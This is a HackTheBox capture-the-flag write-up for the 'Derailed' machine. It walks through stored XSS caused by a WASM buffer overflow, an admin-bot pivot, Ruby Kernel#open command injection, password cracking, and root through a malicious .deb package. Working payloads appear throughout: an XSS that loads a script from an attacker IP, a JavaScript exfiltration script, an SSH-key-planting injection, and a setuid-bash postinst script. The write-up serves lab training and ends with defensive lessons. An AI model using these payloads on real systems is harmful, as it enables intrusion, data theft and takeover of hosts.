HTB: Derailed Writeup

Derailed - HackTheBox Writeup

Machine Information

AttributeDetails
NameDerailed
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.228.107
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Derailed is an insane-difficulty Linux box built around a Ruby on Rails “clipnote” application. The interesting part isn’t a known CVE — it’s a chain of application logic bugs: a client-side buffer overflow in a compiled display.wasm module that lets an overlong username field overwrite an adjacent parameter, turning a non-user-controlled created_at field into a stored XSS sink. That XSS is triggered against an admin bot via a “report” feature, and the resulting authenticated admin session is abused to reach a Kernel#open-based arbitrary file read/command injection in admin_controller.rb, giving remote code execution as rails. From there, credentials recovered from the application’s SQLite database are cracked and reused to pivot into an openmediavault-webgui account, which has rights to install .deb packages via the omv-rpc interface — abused to run a postinst script as root.

TL;DR: WASM buffer overflow → overwritten created_at field → stored XSS → admin session hijack via /report bot → Kernel#open pipe-command injection in admin_controller.rb (arbitrary file read + RCE as rails) → SQLite DB dump → cracked bcrypt hash (greenday) reused to su into openmediavault-webgui → malicious .deb installed via omv-rpc apt install with a postinst privesc script → root.


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=2000 -T4 10.129.228.107

Results: Only two ports of interest were open, matching expectations for this box:

  • 22/tcp — OpenSSH
  • 3000/tcp — a Ruby on Rails application (the “clipnote” note-taking app)

Service Enumeration

Terminal window
curl -s -I http://10.129.228.107:3000/
curl -s http://10.129.228.107:3000/register | head -60

The app is derailed.htb, a clipnote-sharing site that let unauthenticated users view notes and allowed registration of a new account (/register). Notes are rendered by a compiled display.wasm module invoked client-side, passing created_at and author as arguments.

Vulnerability Assessment

  • Registration accepts a username far longer than the front-end’s maxlength field enforces (client-side only check).
  • A sufficiently long username causes memory corruption in the WASM buffer used by display(), overwriting the adjacent created_at argument with attacker-controlled bytes.
  • A “report note” feature (/report) causes an admin bot to visit reported content — a classic stored-XSS-to-admin pivot.
  • The admin section (/administration, /administration/reports) downloads files via a Ruby open() call on a user-influenceable path/string, which is vulnerable to Ruby’s pipe-prefix command execution when a string starts with |.

Initial Foothold

Exploitation Path

1. Register an overflow account and confirm the wasm buffer overwrite.

Registration is a standard POST to /register with a CSRF token pulled from the form first. The account’s username field is the vector: the server does not enforce the client-side length cap, so an overlong username overflows the fixed-size buffer used inside display.wasm and bleeds into the adjacent created_at argument that gets rendered on the note page. Once the overflow offset is known, the surplus bytes land directly in created_at — a field the app never expected to be attacker-controlled, so it isn’t escaped before being handed to the DOM.

# username crafted so the tail after the overflow offset lands in created_at
payload_username = "A" * 48 + "<img src=x onerror=import('http://10.10.15.68:9000/e.js')>"

This account was registered, logged in, and used to create a note — reproducing the overwrite exactly as expected from the offset already established for this app.

2. Verify the XSS fires (headless browser required).

Because the corruption only manifests once the wasm module runs client-side (raw JSON responses from /clipnotes/raw/:id show the payload as an inert string — the overwrite only happens inside the compiled display() call in the browser), the exploit was verified with headless Chromium via Selenium rather than by inspecting the API response directly. This confirmed the <img onerror=...> tag actually executes and pulls e.js from our listener.

3. Stage the CORS-enabled callback server.

#!/usr/bin/python3
# server.py — serves e.js with an Access-Control-Allow-Origin header so the
# victim's XHR to derailed.htb can read the response cross-origin
import socketserver
from http.server import SimpleHTTPRequestHandler
class Server(socketserver.TCPServer):
allow_reuse_address = True
class CORSRequestHandler(SimpleHTTPRequestHandler):
def end_headers(self):
self.send_header('Access-Control-Allow-Origin', '*')
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
with Server(('10.10.15.68', 9000), CORSRequestHandler) as httpd:
httpd.serve_forever()
// e.js — exfiltrates the admin's authenticated GET response via base64
function log(msg) {
fetch("http://10.10.15.68:9000/?log=" + btoa(msg));
}
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function () {
if (this.readyState == 4) {
log(xhttp.responseText);
}
};
xhttp.open("GET", "http://derailed.htb:3000/administration", true);
xhttp.send();

The server initially had a cwd mismatch (started from /tmp but e.js wasn’t being found in the process’s working directory), which was fixed by launching it with setsid nohup ... < /dev/null & from the correct directory so the backgrounded process reliably served the file. Note: cookies are HttpOnly, so the attack reads authenticated page content via XHR rather than stealing the session cookie directly — the admin’s own browser session does the fetching for us.

4. Trigger the bot via /report.

Terminal window
# /report requires BOTH fields — omitting either silently no-ops
curl -s -b cookies.txt http://derailed.htb:3000/report \
-d "report[reason]=inappropriate" \
-d "report[note_id]=<id-of-malicious-note>" \
-d "authenticity_token=<csrf>"

Shortly after submission, hits arrived on the CORS listener from the target’s real IP — confirming the admin bot visited the reported note, executed the injected e.js, and its authenticated request to /administration was exfiltrated to us. The returned HTML revealed an /administration/reports form with a hidden report_log parameter — the download mechanism for admin log files.

5. Abuse Kernel#open for arbitrary file read.

The /administration/reports endpoint opens whatever string is passed in report_log using Ruby’s open(), which (per Ruby’s documented behavior) executes a subprocess instead of opening a file when the string begins with a pipe character (|). This is a textbook Ruby Kernel#open command-injection primitive. Chaining the same e.js/report pattern (harvest the CSRF token from the admin page, then POST to /administration/reports), the report_log parameter was driven with a pipe-prefixed command:

// report_log = "| <command>" executes <command> instead of reading a file
var params = "authenticity_token=" + authenticity_token +
"&report_log=| echo '<attacker-ssh-pubkey>' >> /home/rails/.ssh/authorized_keys";

Rather than pulling a reverse shell first, the SSH key was planted directly into /home/rails/.ssh/authorized_keys in one shot via this same admin-triggered open() injection, giving direct SSH access as rails without a netcat handoff step.

Terminal window
ssh rails@derailed.htb

User flag:

User Flag: <redacted>

Privilege Escalation

rails → toby / openmediavault-webgui

With a shell as rails, the application’s SQLite database was located and pulled for credential harvesting:

Terminal window
# locate and inspect the Rails app database
find / -name "*.sqlite3" 2>/dev/null
sqlite3 /var/www/rails-app/db/development.sqlite3 '.schema'
sqlite3 /var/www/rails-app/db/development.sqlite3 'select * from users;'

This surfaced a bcrypt password hash for the user toby. It was cracked offline against rockyou:

Terminal window
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# recovered password: greenday

Password reuse was confirmed by switching users with the cracked credential:

Terminal window
su - openmediavault-webgui
# password: greenday

openmediavault-webgui belongs to the openmediavault service groups, which grant access to the omv-rpc command-line interface for openmediavault’s RPC daemon (omv-engined).

openmediavault-webgui → root

openmediavault exposes an Apt RPC module whose install method installs arbitrary .deb packages supplied by path — with no restriction on where that package was built or what its maintainer scripts do. This is a well-known privilege-escalation primitive on openmediavault hosts: any account permitted to call the apt/install RPC endpoint can get root-context code execution via a package’s postinst script, since dpkg runs postinst as root during installation.

Terminal window
# build a malicious .deb with a privesc postinst script
mkdir -p mypackage/DEBIAN
cat > mypackage/DEBIAN/control <<EOF
Package: mypackage
Version: 0.1
Maintainer: nobody
Architecture: all
Description: privesc package
EOF
cat > mypackage/DEBIAN/postinst <<'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
chmod +x mypackage/DEBIAN/postinst
dpkg-deb --build mypackage

The resulting .deb was transferred to the target (via the already-established rails SSH access) and installed through the RPC interface as openmediavault-webgui:

Terminal window
# transfer the built package
scp mypackage.deb rails@derailed.htb:/tmp/
# trigger installation via the Apt RPC endpoint — postinst runs as root
/usr/sbin/omv-rpc -u admin "apt" "install" '{ "packages": ["/tmp/mypackage.deb"] }'

The postinst script executed as root during package installation, setting the setuid bit on /bin/bash:

Terminal window
ls -la /bin/bash
# -rwsr-xr-x 1 root root ... /bin/bash
/bin/bash -p
whoami
# root

Root flag:

Root Flag: <redacted>

Attack Chain Summary

Overlong username (front-end length check bypassed via raw POST)
→ WASM buffer overflow in display.wasm overwrites created_at argument
→ Unescaped created_at renders attacker HTML → stored XSS via <img onerror=import(e.js)>
→ /report triggers admin bot to visit the malicious note
→ Admin's authenticated session (via XHR, not cookie theft) exfiltrated to CORS listener
→ /administration/reports report_log param passed to Kernel#open()
→ Pipe-prefixed report_log ("| ...") = arbitrary command execution as rails
→ SSH key planted into /home/rails/.ssh/authorized_keys → SSH as rails
→ User flag
→ SQLite DB (development.sqlite3) dumped → toby's bcrypt hash cracked (rockyou → "greenday")
→ Password reuse: su → openmediavault-webgui
→ Malicious .deb w/ postinst (chmod u+s /bin/bash) built
→ Installed via omv-rpc "apt" "install" → postinst executes as root
→ bash -p → Root flag

Tools Used

ToolPurpose
nmapPort scanning
curlManual HTTP interaction, registration, CSRF token/cookie handling
Selenium + headless ChromiumClient-side verification of the WASM overflow / XSS (browser-only corruption)
Custom Python server.pyCORS-enabled HTTP listener to serve e.js and receive exfiltrated data
e.js (custom JS payload)XHR-based exfiltration of the admin’s authenticated page content
sqlite3Reading the Rails app’s development.sqlite3 database
john (rockyou wordlist)Cracking toby’s bcrypt password hash
dpkg-debBuilding the malicious .deb package for the openmediavault privesc
omv-rpcInvoking the apt install RPC endpoint to trigger postinst as root
sshFoothold access as rails, and final access chain

Key Learnings

Techniques Practiced

  • Bypassing client-side-only input validation (maxlength) by crafting raw POST requests
  • Exploiting a WebAssembly buffer overflow to corrupt an adjacent, non-user-controlled parameter
  • Turning a corrupted “trusted” field into a stored XSS sink
  • Using a report/moderation feature as an admin-bot XSS trigger
  • Exfiltrating authenticated content via CORS-enabled XHR instead of cookie theft (bypassing HttpOnly)
  • Exploiting Ruby’s Kernel#open pipe-prefix behavior for command injection
  • Credential harvesting from an application’s local SQLite database and offline hash cracking
  • Abusing openmediavault’s omv-rpc apt install RPC endpoint via postinst script execution for privesc

Lessons Learned

  1. Front-end validation (maxlength, JS checks) is not security — every constraint must be re-enforced server-side, especially where the value feeds a compiled/native code path like a WASM module.
  2. Fields not designed to hold user input (like a timestamp) can still become injection sinks if an upstream bug lets attacker data reach them — output encoding needs to be defense-in-depth, not conditional on “this field is never user-controlled.”
  3. HttpOnly cookies don’t stop session abuse if an XSS can simply replay authenticated requests via XHR and exfiltrate the responses instead of the cookie itself.
  4. Ruby’s open()/Kernel#open treats a leading | as a command pipe by design — never pass unsanitized user input to open(); use File.open explicitly when only file access is intended.
  5. Password reuse across application and system/service accounts remains one of the most reliable lateral movement vectors, even on otherwise hardened boxes.
  6. Any RPC/administrative interface that can install packages (.deb, .rpm, etc.) is an implicit root-code-execution primitive, since package maintainer scripts run with elevated privileges during install.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • polarbearer, “Derailed” official HackTheBox writeup (Doc No. D22.100.215), Hack The Box — used for explanatory context on the WASM buffer overflow mechanics, the Ruby Kernel#open command-injection behavior, and the openmediavault omv-rpc/.deb postinst privilege escalation technique. All IPs, command output, and credentials in this writeup are from this engagement’s own solve, not the reference.